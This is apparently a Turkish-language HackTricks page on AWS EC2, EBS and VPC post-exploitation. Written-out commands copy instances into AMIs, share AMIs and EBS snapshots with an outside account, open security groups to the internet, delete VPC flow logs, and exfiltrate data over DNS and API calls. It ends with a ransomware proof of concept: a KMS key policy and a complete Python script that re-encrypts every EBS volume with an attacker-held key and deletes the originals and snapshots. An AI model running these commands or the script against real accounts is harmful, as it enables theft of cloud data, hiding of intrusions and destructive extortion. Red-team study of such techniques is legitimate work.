AWS - EC2, EBS, SSM & VPC Post Exploitation

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

EC2 ve VPC

Daha fazla bilgi için kontrol edin:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Kötü Amaçlı VPC Aynalama - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC trafik aynalama, VPC içindeki EC2 örnekleri için gelen ve giden trafiği örneklere herhangi bir şey yüklemeye gerek kalmadan çoğaltır. Bu çoğaltılmış trafik genellikle analiz ve izleme için bir ağ sızma tespit sistemi (IDS) gibi bir şeye gönderilir. Bir saldırgan, tüm trafiği yakalamak ve hassas bilgileri elde etmek için bunu kötüye kullanabilir:

Daha fazla bilgi için bu sayfayı kontrol edin:

AWS - Malicious VPC Mirror

Çalışan Örneği Kopyala

Örnekler genellikle bazı hassas bilgiler içerir. İçeri girmenin farklı yolları vardır (kontrol edin EC2 ayrıcalık yükseltme hileleri). Bununla birlikte, içerdiği bilgileri kontrol etmenin başka bir yolu, bir AMI oluşturmak ve ondan yeni bir örnek çalıştırmaktır (kendi hesabınızda bile):

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshotlar, genellikle hassas bilgileri içeren birimlerin yedeklemeleridir, bu nedenle bunları kontrol etmek bu bilgileri ortaya çıkarabilir. Eğer bir snapshot olmayan bir birim bulursanız, aşağıdaki işlemleri gerçekleştirmek için bir snapshot oluşturabilir veya sadece hesap içindeki bir örnekte bu birimi bağlayabilirsiniz:

AWS - EBS Snapshot Dump

Veri Sızdırma

DNS ile Sızdırma

Bir EC2'yi trafiğin dışarı çıkmasını engelleyerek kilitleseniz bile, hala DNS üzerinden sızdırma yapabilir.

  • VPC Akış Günlükleri bunu kaydetmeyecektir.

  • AWS DNS günlüklerine erişiminiz yoktur.

  • Bunun devre dışı bırakmak için "enableDnsSupport" değerini false olarak ayarlayın:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

API çağrıları ile Sızdırma

Bir saldırgan, kendisi tarafından kontrol edilen bir hesabın API uç noktalarını çağırabilir. Cloudtrail bu çağrıları kaydedecek ve saldırgan, sızdırılan verileri Cloudtrail günlüklerinde görebilecektir.

Açık Güvenlik Grubu

Bu şekilde portları açarak ağ hizmetlerine daha fazla erişim elde edebilirsiniz:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

ECS'ye Privesc

Bir EC2 örneğini çalıştırıp, ECS örneklerini çalıştırmak için kaydetmek ve ardından ECS örneklerinin verilerini çalmak mümkündür.

Daha fazla bilgi için burayı kontrol edin.

VPC akış günlüklerini kaldırma

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

AMI Paylaşımı

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Snapshot Paylaşma

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Bir S3 son-exploitasyon notlarındaki Ransomware gösterimiyle benzer bir kanıt sunumu. KMS, çeşitli AWS hizmetlerini şifrelemek için ne kadar kolay kullanılabileceğini gösterdiği için Ransomware Yönetim Hizmeti için RMS olarak yeniden adlandırılmalıdır.

İlk olarak, bir 'saldırgan' AWS hesabından, KMS'de bir müşteri tarafından yönetilen anahtar oluşturun. Bu örnekte, AWS'nin anahtar verilerini benim için yönetmesine izin vereceğiz, ancak gerçek bir senaryoda kötü niyetli bir aktör, anahtar verilerini AWS'nin kontrolü dışında tutacaktır. Anahtar politikasını, herhangi bir AWS hesabının Anahtarı kullanmasına izin vermek için değiştirin. Bu anahtar politikası için hesabın adı 'AttackSim' idi ve tüm erişime izin veren politika kuralı 'Dış Şifreleme' olarak adlandırıldı.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Anahtar politika kuralı, bir EBS birimini şifrelemek için kullanılabilmesi için aşağıdakilerin etkinleştirilmesini gerektirir:

  • kms:CreateGrant

  • kms:Decrypt

  • kms:DescribeKey

  • kms:GenerateDataKeyWithoutPlainText

  • kms:ReEncrypt

Şimdi, kullanılabilir hale getirilen genel anahtar ile birlikte, şifrelenmemiş EBS birimlerine sahip bazı EC2 örnekleri olan bir 'kurban' hesabını kullanabiliriz. Bu 'kurban' hesabının EBS birimleri, şifrelemeye hedef olanlar, bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ihlal edildiği varsayımı altında gerçekleştirilir.

Pasted image 20231231172655
Pasted image 20231231172734

Bu, hesapta yalnızca şifrelenmiş EBS birimlerinin kullanılabilir olmasına neden olur.

Pasted image 20231231173338

Ayrıca, betik, orijinal EBS birimlerini ayırmak ve silmek için EC2 örneklerini durdurdu. Orijinal şifrelenmemiş birimler artık mevcut değil.

Pasted image 20231231173931

Sonraki adımda, 'saldırgan' hesaptaki anahtar politikasına geri dönün ve anahtar politikasından 'Dış Şifreleme' politika kuralını kaldırın.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Yeni ayarlanan anahtar politikasının yayılması için biraz bekleyin. Ardından 'hedef' hesabına dönün ve yeni şifrelenmiş EBS birimlerinden birini eklemeyi deneyin. Birimi ekleyebileceğinizi göreceksiniz.

Ancak, şifrelenmiş EBS birimiyle EC2 örneğini gerçekten başlatmaya çalıştığınızda, birim şifresi kullanılarak şifrelenemeyeceği için örnek sadece 'beklemede' durumundan sürekli olarak 'durmuş' durumuna geçecektir. Çünkü anahtar politikası artık buna izin vermemektedir.

Bu, kullanılan Python betiğidir. 'Hedef' hesabının AWS kimlik bilgilerini ve şifreleme için kullanılacak genel olarak erişilebilir bir AWS ARN değerini alır. Betik, hedeflenen AWS hesabındaki TÜM EC2 örneklerine bağlı TÜM mevcut EBS birimlerinin şifrelenmiş kopyalarını oluşturacak, ardından her EC2 örneğini durduracak, orijinal EBS birimlerini ayıracak, silecek ve işlem sırasında kullanılan tüm anlık görüntüleri silecektir. Bu, hedeflenen 'hedef' hesabında yalnızca şifrelenmiş EBS birimlerini bırakacaktır. BU BETİĞİ YALNIZCA BİR TEST ORTAMINDA KULLANIN, YIKICI VE TÜM ORİJİNAL EBS BİRİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarını kullanarak bunları kurtarabilir ve anlık görüntüler aracılığıyla orijinal durumlarına geri yükleyebilirsiniz, ancak bunun bir fidye yazılımı PoC olduğunu unutmamanızı istiyorum.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Last updated